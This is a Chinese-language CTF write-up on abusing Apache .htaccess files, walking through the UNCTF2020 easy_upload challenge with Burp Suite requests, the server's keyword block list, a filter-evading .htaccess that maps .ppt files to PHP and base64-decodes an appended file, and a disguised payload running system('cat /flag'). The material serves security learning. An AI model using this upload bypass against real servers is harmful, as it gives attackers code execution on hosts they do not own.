htaccess 相关攻击/绕过原理




该文档一直会处于更新的状态

1. htaccess 的概念

htaccess ,也被称为“分布式配置文件”,被用来作为服务器端的目录下配置网页文件,即开发者可以利用这个文件加入对于后端操控的指令,来控制目录及其所有的子目录,被广泛用于 Apache 服务器中。

htaccess 的作用

  • 进行网页内容的重定向;
  • 自定义 404 错误页面;
  • 改变文件的扩展名;
  • 允许/阻止 用户去访问特定的目录;
  • 禁止相关目录列表;
  • 设定后端基本默认文档的功能;

htaccess 的缺点

  • 容易被非授权的用户编辑的 htaccess 文件覆盖,从而导致整个后端的安全性降低,因此容易被 Bypass。

htaccess 的语法

  • 第一,为后端不能执行的文件类型增加执行的权限,即将 ppt 后缀的文件当作php 文件执行;

处理 PHP 文件时用到: Add Type,即: Add Type application/x-httpd-php .php

上述的代码将所有 .php 为后缀的所有文件当作了 PHP 的文件进行处理,可能这么说会有一点别扭,但是其实从 htaccess 容易被绕过的特性,上边的语句可以被攻击者篡改,从后边的CTF的题目可以详细了解到这个覆盖的过程。

  • 第二,在 htaccess 的文件中增加对应的 Require 文件;

php_value auto_append_file "php://filter/convert.base64-decode/resource=mn.ppt"

上边的这条命令,为所有的PHP文件增加了:引用外部PHP的文件,引用的格式被规定成了 base64 的编码形式,因此这种配置可以绕过文件内容的字符检查形式;


2. 历年CTF练习题

第一篇都稍微有点啰嗦,后边的会精简很多..

2.1 UNCTF2020 - easy_upload

题目的地址:https://unctf.hackingfor.fun/#/train

这个题目稍微有一点难,我也是基本上做了好久好久才真的完整地做出来,因此看这个部分的题目稍微有点耐心。

首先需要分析这个页面,页面的构成非常简单,就是这个图片:

分析一下,好像没有啥分析的,从简单的界面上就可以看出来,代码没几行,一个 form 一个 button 就解决了问题,最后一行给出回显。

但是还是稍微分析一下源码:

并没有什么指导的意义,因此我们需要尝试一下能够上传文件的类型,可以编写几个简单的测试例子来试一下后台的逻辑,首先需要确定,后台逻辑处理的语言类型到底是什么?是 PHP 还是 Python?

这个时候用到了非常好用的一个神器:Burp Suite

其实我一开始对整个软件也是非常陌生的,因此并不知道怎么使用,只知道 需要挂起代理,这里稍微详细地说一下怎么使用这款软件。

对于初始化Burp Suite就不详细地去说了,简单的默认配置即可,下图说一下用到的具体Tab:

首先需要点击 Proxy 的 Tab 来打开代理,进行监听,内嵌的浏览器的内核为:Chrome,响应可能会比较慢,需要一定的耐心来等待。

在浏览器输入题目的网址,然后等待响应,这个时候新的请求通过:Proxy - HTTP history 就可以看到,

我们先需要创建一些流量来进行分析,我们需要构建一些常见的文件类型来进行判别,首先必须明确的是构建的必须是可执行的文件,因此可以构建的为: PHP 以及 Python 的文件。

尝试构建的PHP文件,demo.php

<?php
 echo "Hello!";
>

构建一个新的请求(Request),即上传上边给出的 demo.php 的相关内容,

POST /index.php HTTP/1.1
Host: 1621bb01-be92-4656-9330-c599397adc4f.node1.hackingfor.fun
Content-Length: 311
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1621bb01-be92-4656-9330-c599397adc4f.node1.hackingfor.fun
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye9lG1eyj1bI6326S
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1621bb01-be92-4656-9330-c599397adc4f.node1.hackingfor.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarye9lG1eyj1bI6326S
Content-Disposition: form-data; name="fileUpload"; filename="demo.php"
Content-Type: text/php

<?php
    echo "Demo!";
>

------WebKitFormBoundarye9lG1eyj1bI6326S
Content-Disposition: form-data; name="upload"

submit
------WebKitFormBoundarye9lG1eyj1bI6326S--

在上边的给出的结果需要明晰,就是 Accept 给出了接受的类型,从上边来看接受的类型主要包括了:xml 以及 image/apng,即可以接受与图片相关的文件内容。


下边需要分析一下接收的回显(Response);

提示错误 - "filename error",即不能接收与 .php 后缀相关的文件;

我们需要明确一下下边的内容:首先第一个需要明确的,是 openresty ,这是一个 Nginx 的一个高性能 Web 服务器,在这个服务器配置中是允许修改.htaccess的文件的,其次就是必须要注意到,后台的PHP版本:PHP/5.4.16,这些都是非常关键的信息点。

HTTP/1.1 200 OK
Server: openresty/1.17.8.2
Date: Thu, 18 Mar 2021 12:57:27 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 958
Connection: close
X-Powered-By: PHP/5.4.16
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>UPLOAD</title>
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="stylesheet" type="text/css" href="style/css/style1.css">
    <link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<body>
<div class="wrap">
    <div class="container">
        <h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
        <form action="index.php" method="post" enctype="multipart/form-data">
        <input class="wd" type="file" name="fileUpload" id="file"><br>
        <input class="wd" type="submit" name="upload" value="submit">
            <p class="change_link" style="text-align: center">
            <strong>filename error</strong>
            </br>
            <strong></strong>
            </br>
            <strong></strong>
            </p>
        </form>
    </div>
</div>
</body>
</html>

从上边看,想在后端执行 PHP 的相关代码,构建一个假的 png 的文件包含 PHP 代码,放到后端执行;

对上边的文件名,稍作一下修改,即上传一个假的 PNG 图片,更改demo.php 的后缀为 demo.png,上传,通过 Burp Suite 的代理分析数据包,发送的包的内容如下:

------WebKitFormBoundaryWhgXY768XH84AqlX
Content-Disposition: form-data; name="fileUpload"; filename="demo.png"
Content-Type: image/png
<?php
    echo "Demo!";
>

得到的回显(Response),发现了非法字符 的包含内容:

<p class="change_link" style="text-align: center">
    <strong>perl|pyth|ph|auto|curl|base||>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!</strong>
    </br>
    <strong></strong>
    </br>
    <strong></strong>
</p>

因此我们不能在上传的内容中包含 php 相关的字符,因此需要用到正则表达式 或者 base64 的加密编码来绕过相应的检查机制,但是首先我们必须制作一个 htaccess 的模板文件来将所有的 ppt 文件后缀识别成 php 文件,因此可以被后端的 PHP 框架执行;

构建一个新的htaccess文件,因为我使用的是 Mac OS 的操作系统,在这个操作系统下所有的.*类型文件都会被隐藏,如果你想要显示所有的隐藏文件,按住: Shift + Command + .,在上传的界面也是这个组合键就可以找到隐藏的上传文件了。

.htaccess 文件的内容:

AddType application/x-httpd-p
hp .ppt
p
hp_value a
uto_append_file "p
hp://filter/convert.b
ase64-decode/resource=mn.ppt"

解释一下上边的内容,因为对 非法字符敏感,可以使用编码的 进行绕过;另外就是将所有 ppt 后缀的文件当做了 PHP 进行执行;为我们即将上传的 mn.ppt 添加 base64 编码解析。

编写完成之后,通过 Burp Suite 软件修改 Content Type,操作流程为:浏览器上传 - Burp Suite (Proxy - HTTP history)- 选中对应的条目 - 右键条目 - 选中:Send to Repeater - 修改 Content-Type: image/jpeg - 单击 Send。 重放一下我们之前的数据包。

我们现在已经知道了相关文件的存储路径了,现在,需要编写关于的 PHP 代码的内容,源码的内容为:

<?php system('cat /flag');?>

经过 base64 编码之后的内容为:

PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==

伪装一下即将发送的文件内容,前边增加一下 jpeg 的开头: GIF89a12

mn.ppt 的内容为:

GIF89a12
PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==

还是使用刚才重放的办法,上传到靶机的后端,只要上传之后出现对应的路径信息即可;

访问对应的路径下的文件,我们已经得到了 flag 的值;

一些思考

1.后端的 Server API 到底是不是 openresty/1.17.8.2

将文件 mn.ppt 内容更改一下,即 PHP 内容为:

<?php phpinfo();?>

Base64 编码:

PD9waHAgcGhwaW5mbygpOz8+

得到:

发现:Server API 的版本为: Apache 2.0 Handler,即不是 Response 回显的相关内容,即存在对于后端返回的修改,这种情况怎么去判别呢?

  • 目前我也不知道怎么去判别,因为一般来说做了负载均衡就很难知道 Server 的类型是什么了...
  • 这个问题留到后边再慢慢解决...

参考一个论坛:https://segmentfault.com/q/1010000000659515

内容来源于网络如有侵权请私信删除